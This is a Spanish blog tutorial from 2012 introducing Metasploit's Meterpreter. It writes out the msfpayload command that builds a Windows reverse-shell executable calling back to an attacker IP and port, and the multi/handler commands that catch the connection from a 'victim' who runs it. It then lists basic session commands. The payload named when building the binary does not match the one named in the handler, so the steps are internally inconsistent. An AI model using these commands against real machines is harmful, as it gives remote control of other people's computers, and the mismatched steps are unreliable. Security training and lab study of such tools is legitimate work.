lunes, 10 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter I


  Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada con Meterpreter.

Pero, ¿qué es Meterpreter?  Según la web de metasploit unleashed y de forma muy resumida es:
Meterpreter is an advanced, dynamically extensible payload 
 Para mas información recomiendo muy encarecidamente que repaséis la web que he comentado antes ;) .

  Ésta herramienta permite, una vez se ha obtenido acceso al equipo de la víctima, realizar muy diversas acciones como son descargar ficheros, escalar privilegios, utilizar un keylogger o activar la webcam entre otras muchas posibilidades que veremos a lo largo de las entradas que compondrán esta subsaga.


  Lo primero que haremos será crear un ejecutable con un payload de meterpreter contenido como se ha hecho en otras ocasiones, para ello utilizaremos msfpayload:
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.108 LPORT=31337 X > payload.exe
  Los parámetros importantes de la anterior orden y que se utilizarán posteriormente en el handler (veremos después que es esto) son los siguientes:
     [-] windows/shell_reverse_tcp  => El payload escogido.
     [-] LHOST=192.168.0.108  => La IP del equipo donde está ejecutándose Metasploit.
     [-] LPORT=31337  => El puerto en el que Metasploit está escuchando peticiones.


Lo que hará el binario creado es, una vez sea ejecutado, intentara conectar en la IP y puertos especificados y ofrecernos una shell inversa.

  NOTA: En esta entrada supondremos que la víctima ejecuta el archivo payload.exe, la forma de que ésta lo haga o de evadir los antivirus no la trataremos pues ya hemos hablado de ello en otras ocasiones.


  El siguiente paso es poner a Metasploit escuchando posibles conexiones de la víctima, para ello lo lanzamos con el clásico:
msfconsole

y preparamos el handler, su funcionalidad es esperar conexiones del payload especifico, en el puerto e IP especificados:
use multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.0.108set LPORT 31337exploit
 Donde:
     [-] use multi/handler => Seleccionamos el handler.
     [-] set PAYLOAD windows/meterpreter/reverse_tcp => El payload escogido anteriormente en la creación del binario que enviamos a la víctima.
     [-] set LHOST 192.168.0.108 => Nuestra IP donde está el handler escuchando, es el mismo que hemos especificado anteriormente en la creación del ejecutable enviado a la víctima.
     [-] set LPORT 31337 => El puerto en el que Metasploit estará escuchando peticiones. Debe ser el mismo que el escogido en el ejecutable enviado a la víctima.
     [-] exploit => Lanza el handler.


  Una vez lanzado esperará a que la víctima ejecute el binario (payload.exe) para que éste establezca conexión con nosotros. Una vez lo haga obtendremos una shell de meterpreter (el prompt cambiará).


  Puesto que nos encontramos en un post de introducción veremos los comandos básicos, en próximas ediciones veremos cosas mas interesantes, pero primero es necesario conocer estas ordenes pues nos serán de utilidad en cosas más avanzadas.


Sesiones en Metasploit

 En Metasploit es posible tener varias sesiones de meterpreter en ejecución simultáneamente, para listar todas las existentes podemos utilizar:
sessions -l
 Esto nos mostrará todas las que se encuentran abiertas ordenadas en función de un Id, para recuperar una en concreto basta con:
sessions -i <Id de la sesión>

  Una vez hayamos acabado de trabajar con una sesión podemos cerrarla, para realizar esta tarea hay dos posibilidades:
Si estamos dentro de una sesión:
        quit
Sino estamos dentro de ninguna sesión:
        sessions -k <Id de la sesión>

  Existen más posibles parámetros para el comando sessions, basta usar el flag -h para verlos.




 Enviar una sesión a segundo plano

  Por determinados motivos puede ser necesario mandar la sesión actual de meterpreter a un segundo plano para realizar otras tareas con Metasploit, para esto existe el comando:
background



Ayuda 

  Tanto si estamos en Metasploit como dentro de una sesión meterpreter existe una orden que nos mostrará los posibles comandos a ejecutar:
?


  Con todo esto cerramos esta primera entrada a modo de introducción, en las siguientes ya iremos "escavando" en las posibilidades que ofrece meterpreter.

Nos leemos en breve ;)

5 0verl0ad Labs: Coqueteando con Metasploit: Meterpreter I   Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada con  Meterpret...
< >